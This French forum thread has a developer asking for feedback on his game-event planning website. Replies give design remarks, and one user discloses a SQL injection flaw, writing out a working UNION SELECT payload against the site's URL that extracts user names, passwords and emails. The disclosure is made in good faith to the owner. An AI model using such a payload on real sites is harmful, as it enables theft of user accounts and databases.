Mon site All-Game-Event

[Sylvain245]

Bonjour,

Je réalise un site web permettant a des joueurs de planifier des événements en jeu, à l'avance, affin de faciliter leur recherche de joueur.

Je vous invites a donner vos avis sur ce site:
http://www.all-game-event.com

A noter : le menu de navigation en haut ne fonctionne pas encore, ni la visite guidée, donc porter votre attention sur tout le reste du site.

quelques utilisateurs sont créer pour vous permettre d'accéder à l'espace membre:
user : user1 password: user1
user : user2 password: user2
user : dravick10 password: dravick10

En autre, avec l'utilisateur user2, dans "Mes jeux", le jeux "WWE SmackDown vs. Raw 2008" contient des événements créer, vous pouvez les consulters

Vous pouvez donner votre opinion sur le design général, les fonctionnalités, les pour et contre, bref vos impression

Le site n'est pas encore référencer, donc ne porter pas votre attention sur l'optimisation pour le référencement.

Merci

[Rakken]

C'est le troisième site que je regarde aujourd'hui et une fois de plus, c'est franchement pas mal.
Le bleu au dessus des jeux et probablement un peu trop prononcé, mais le site donne une impression de soigné, de propre, et c'est pas mal du tout.

Petit points de détails : je suis sous ie8 : quand tu passes la souris sur les menu, quand le fond apparait, tu as un décalage de 1px sur tous les menus sauf l'accueil.
Quand on clique sur "rechercher", ce serait bien d'effacer le mot pour qu'on puisse saisir directement.

[Sylvain245]

Bonjour,

Merci pour ton temps et tes commentaires.

Désoler de n'être pas revenu avant, je n'était pas chez moi pour la période des fêtes, et donc pas d'internet pendant ce temps ;(

J'ai eu le temps d'améliorer un peu mon site, j'ai tester sous ie6, ie7, ie8, firefox 2 et supérieur, safari,

le décalage du menu devrait être régler

Merci, je continue le travail

[Neroptik]

Salut,

Bon le site est pas mal mais par contre j'ai detecte plusieurs failles.
Nottement celle-ci, une injection qui peut etre exploitee avec UNION, ce qui est plutot pratique

Code :

1
2
http://www.all-game-event.com/infoJeux.php
?No=-1457 UNION SELECT 1,2,3,4,5,6,7,8,9,hex(UseID),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,unhex(hex(UseName)),unhex(hex(UsePassword)),unhex(hex(UseEmail)),31,32 FROM user

La faille permet de recuperer tous les comptes utilisateurs. (enfin parce que la il y a que ca a prendre mais en realite on peut dumper la base complete)
Apparement on pourrai egalement injecter dans le champ de recherche car j'arrive a faire crasher la requete.

Bon courage, bonne continuation.
Cordialement,
neroptik

Edit: Pour les noms de table j'ai pas eu besoin de deviner, j'ai simplement recupere ceux que tu a mentionne dans un autre post ou tu demande de l'aide pour un probleme de requete sql.